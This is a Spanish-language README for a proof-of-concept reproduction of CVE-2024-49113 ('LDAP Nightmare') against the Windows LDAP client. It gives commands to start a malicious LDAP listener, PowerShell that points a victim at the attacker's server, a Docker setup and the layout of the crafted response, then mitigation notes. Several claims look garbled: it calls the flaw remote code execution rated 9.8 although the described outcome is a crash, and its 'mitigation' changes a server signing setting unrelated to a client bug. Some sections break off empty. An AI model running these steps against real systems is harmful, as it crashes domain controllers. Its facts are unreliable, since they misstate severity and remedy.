
Reproducción de cve-2024-49113-ldap_nightmare_reproduction
Ejecución remota de código en el cliente LDAP de Windows (desbordamiento de búfer basado en montón)
| Campo | Valor |
|---|---|
| CVE | CVE-2024-49113 |
| Alias | LDAP Nightmare |
| CVSS 3.1 | 9.8 — CRÍTICO |
| CWE | CWE-122 — Desbordamiento de búfer basado en montón |
| Descubierto | SafeBreach (PoC publicado en enero de 2025) |
| Explotación | Explotación activa en entornos reales confirmada |
| Parche | Microsoft Patch Tuesday de diciembre de 2024 (KB5048685 / KB5048652) |
CVE-2024-49113 es una vulnerabilidad crítica de desbordamiento de búfer basado en montón en la biblioteca del cliente LDAP de Windows (wldap32.dll). Un atacante remoto no autenticado puede desencadenar la vulnerabilidad enviando una respuesta LDAP especialmente manipulada a una máquina Windows víctima que realice una consulta LDAP (por ejemplo, un controlador de dominio que efectúe búsquedas en el directorio).
Debido a que los controladores de dominio de Windows envían rutinariamente consultas LDAP a otros controladores de dominio, servidores miembros y servidores de catálogo global, esta falla es especialmente peligrosa en entornos de Active Directory. Una explotación exitosa logra la ejecución remota de código en el contexto de la cuenta Sistema local (en controladores de dominio), otorgando al atacante el control total del servidor objetivo.
La prueba de concepto pública (denominada "LDAP Nightmare") fue publicada por SafeBreach en enero de 2025, después de que Microsoft enviara correcciones en el Patch Tuesday de diciembre de 2024.
La vulnerabilidad reside en wldap32.dll, la implementación de Windows del cliente del Protocolo Ligero de Acceso a Directorios (LDAP) según lo definido en RFC 4511.
Cuando un cliente LDAP recibe una respuesta de Entrada de Resultado de Búsqueda, la biblioteca analiza las Unidades de Datos de Protocolo (PDU) del mensaje LDAP en un bucle de decodificador BER (Reglas Básicas de Codificación). Una falla en la lógica de asignación de memoria del montón durante el análisis de los valores de los atributos LDAP provoca que el decodificador escriba datos más allá de los límites de un búfer asignado en el montón.
Específicamente:
Todas las ediciones compatibles de Windows Server y Windows Client son vulnerables antes de las actualizaciones de seguridad del 10 de diciembre de 2024:
Las actualizaciones del Patch Tuesday de diciembre de 2024 que abordan este CVE son:
┌──────────────────┐ Consulta LDAP ┌─────────────────────┐
│ Host Víctima │ ──────────────────────────▶ │ Servidor LDAP │
│ (DC de Windows) │ │ del Atacante (PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Respuesta LDAP manipulada │ exploit.py │
│ desbordado │ (carga útil de desbordamiento) │ puerto 389 │
└──────────────────┘ └─────────────────────┘
En la víctima, verifique los KB instalados:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Si no se devuelven resultados, el sistema está sin parchear y es vulnerable.
En la máquina del atacante, ejecute este PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Donde 192.168.1.100 es la dirección IP del atacante.
Nota: En Linux, vincular el puerto 389 requiere root (sudo). En Windows, pueden requerirse privilegios de administrador.
Desde la máquina víctima (PowerShell, como Administrador):
# Forzar una búsqueda LDAP contra el servidor del atacante
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Conexión intentada — revise el servidor del PoC para ver los detalles del fallo"
}
Alternativamente, use ldp.exe (incluido con Windows Server / RSAT):
DC=evil,DC=local[*] Enviando entrada de resultado de búsqueda maliciosa... y enviará la respuesta manipulada.lsass.exe de la víctima o el proceso del cliente LDAP fallará con una violación de acceso (0xC0000005), o el sistema puede mostrar BSOD.Se proporciona un Dockerfile para ejecutar el PoC en un entorno aislado:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
El exploit.py incluido implementa:
--listen-ip, --listen-port, --payload-size).# Inicie el servidor malicioso
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# En otra terminal, observe las conexiones
tcpdump -i any port 389 -X
Instale las actualizaciones del Patch Tuesday del 10 de diciembre de 2024:
Si el parche no se puede aplicar de inmediato:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
Este material se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. La explotación no autorizada de CVE-2024-49113 contra sistemas sin permiso explícito es ilegal. Los autores no son responsables del mal uso de esta información. Obtenga siempre autorización por escrito antes de probar cualquier sistema.
| Desplazamiento | Campo | Valor |
|---|
| 0x00 | Etiqueta de Mensaje LDAP (0x30) | Secuencia |
| 0x01–0x02 | Longitud total (manipulada) | Valor grande que activa el desbordamiento |
| 0x03 | ProtocolOp (0x64) | Entrada de Resultado de Búsqueda |
| 0x04–0x0E | Campos de Resultado LDAP | Cabecera estándar |
| 0x0F+ | Lista de Atributos | Disparador de desbordamiento (longitud = 0xFFFF) |
| Fuente | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (Descubrimiento original) | Blog de SafeBreach — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Desbordamiento de búfer basado en montón |
| RFC 4511 | Protocolo LDAPv3 |
| Patch Tuesday de diciembre de 2024 | Notas de la versión de Microsoft |